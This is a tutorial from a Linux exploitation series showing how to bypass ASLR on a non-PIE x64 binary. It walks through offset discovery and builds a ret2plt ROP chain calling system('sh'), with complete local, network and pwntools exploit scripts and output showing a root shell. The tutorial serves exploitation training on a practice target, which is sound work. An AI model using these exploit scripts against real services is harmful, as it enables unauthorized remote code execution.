Tutorial

Bypassing ASLR on x64 Linux

Defeat Address Space Layout Randomization by leveraging fixed addresses in the binary when PIE is disabled.

2 min read advanced

Prerequisites

  • Understanding of ASLR and PIE
  • Experience with ROP chains
  • Knowledge of PLT/GOT
  • pwntools familiarity

Part 11 of 12 in Linux Exploitation Fundamentals

Table of Contents

ASLR randomizes memory addresses at runtime, making exploitation more difficult. However, when PIE (Position Independent Executable) is disabled, the binary’s own addresses remain fixed, providing a foothold for exploitation.

Understanding ASLR

ASLR randomizes:

  • Stack addresses
  • Heap addresses
  • Library (libc) addresses
  • mmap regions

Without PIE, these remain fixed:

  • Binary code (.text)
  • PLT/GOT sections
  • Strings in the binary

Initial Analysis

Verify ASLR is Active

cat /proc/sys/kernel/randomize_va_space
2   # Full ASLR enabled

Finding the Offset

Generate a core dump outside GDB (addresses differ inside debugger):

ulimit -c unlimited
cat pattern.txt | ./target
# Segmentation fault (core dumped)

Analyze the core:

gdb -q ./target ./core
gdb-peda$ x/10gx $rsp
0x7ffc10dda218: 0x414f41413941416a      0x6c41415041416b41
gdb-peda$ pattern offset 0x414f41413941416a
found at offset: 120

RIP offset is 120 bytes.

Examining the Binary

gdb-peda$ info functions
0x0000000000400580  puts@plt
0x0000000000400590  system@plt
0x00000000004005a0  printf@plt
0x00000000004006e6  main

The binary imports system() - we can use system@plt directly.

Finding Useful Addresses

system@plt

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400590 <system@plt>

This address is fixed regardless of ASLR.

String in Binary

Search for useful strings:

gdb-peda$ find sh
bypass_aslr : 0x40085c --> 0x65746e450a006873 ('sh')

The string “sh” exists at 0x40085c. This works because system("sh") is equivalent to system("/bin/sh").

ROP Gadget

ROPgadget --binary target --only "pop|ret" | grep rdi
0x00000000004007f3 : pop rdi ; ret

Building the Exploit

Local Testing

#!/usr/bin/env python3
import sys
from struct import pack

p64 = lambda x: pack("Q", x)

pop_rdi = 0x4007f3      # pop rdi; ret
system_plt = 0x400590   # system@plt
sh_string = 0x40085c    # "sh" string

buf = b"A"*120          # Junk
buf += p64(pop_rdi)     # Load next value into RDI
buf += p64(sh_string)   # "sh" -> RDI
buf += p64(system_plt)  # system("sh")

sys.stdout.buffer.write(buf)

Network Exploit

For a network service:

#!/usr/bin/env python3
from struct import pack
from telnetlib import Telnet

p64 = lambda x: pack("Q", x)

print("[*] Connecting to server")
p = Telnet('192.168.1.100', 5556)
print("[*] Connected.")

pop_rdi = 0x4007f3
system_plt = 0x400590
sh_string = 0x40085c

print(p.read_until(b">"))

buf = b"A"*120
buf += p64(pop_rdi)
buf += p64(sh_string)
buf += p64(system_plt)

print("[*] Sending payload")
p.write(buf + b'\n')
print("[*] Got shell. Enter commands.")
p.interact()

Execution

python exploit.py

#### Yet another exploitation challenge ####

Hope for a crash
Enter something:
>
[*] Sending payload
[*] Got shell. Enter commands.
 Input Updated !
id
uid=0(root) gid=0(root) groups=0(root)

Serving the Vulnerable Binary

For testing, serve the binary with socat:

socat tcp-listen:5556,reuseaddr,fork exec:"./target"

Why This Works

ASLR Randomizes:          Fixed (No PIE):
┌─────────────────┐       ┌─────────────────┐
│   Stack         │ ?     │   .text         │ 0x400000
│   (random)      │       │   PLT/GOT       │
├─────────────────┤       │   .rodata       │
│   Libraries     │ ?     └─────────────────┘
│   (random)      │
├─────────────────┤
│   Heap          │ ?
│   (random)      │
└─────────────────┘

We only need addresses from the binary itself:
- system@plt (fixed)
- "sh" string (fixed)
- ROP gadgets (fixed)

Alternative: Using Binary’s Own /bin/sh

If the binary contains /bin/sh:

gdb-peda$ find /bin/sh
bypass : 0x400abc --> 0x68732f6e69622f ('/bin/sh')

Use this instead of “sh” for a more standard shell.

Handling PIE

If PIE is enabled, the binary’s addresses are also randomized. Solutions:

  1. Information Leak: Leak a code pointer to calculate base
  2. Partial Overwrite: Overwrite only lower bytes (less randomized)
  3. Brute Force: On 32-bit, randomization is weaker

Pwntools Version

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./target')
rop = ROP(elf)

# Connect
p = remote('192.168.1.100', 5556)

# Build ROP chain
rop.call('system', [next(elf.search(b'sh\x00'))])

# Create payload
payload = b'A' * 120
payload += rop.chain()

# Send
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()

Key Takeaways

  1. ASLR vs PIE: ASLR randomizes libraries/stack; PIE randomizes the binary
  2. PLT is your friend: system@plt works even with ASLR
  3. Find strings in binary: Avoid needing libc addresses
  4. Fixed gadgets: ROP gadgets in the binary don’t move
  5. Core dumps help: Get real addresses outside GDB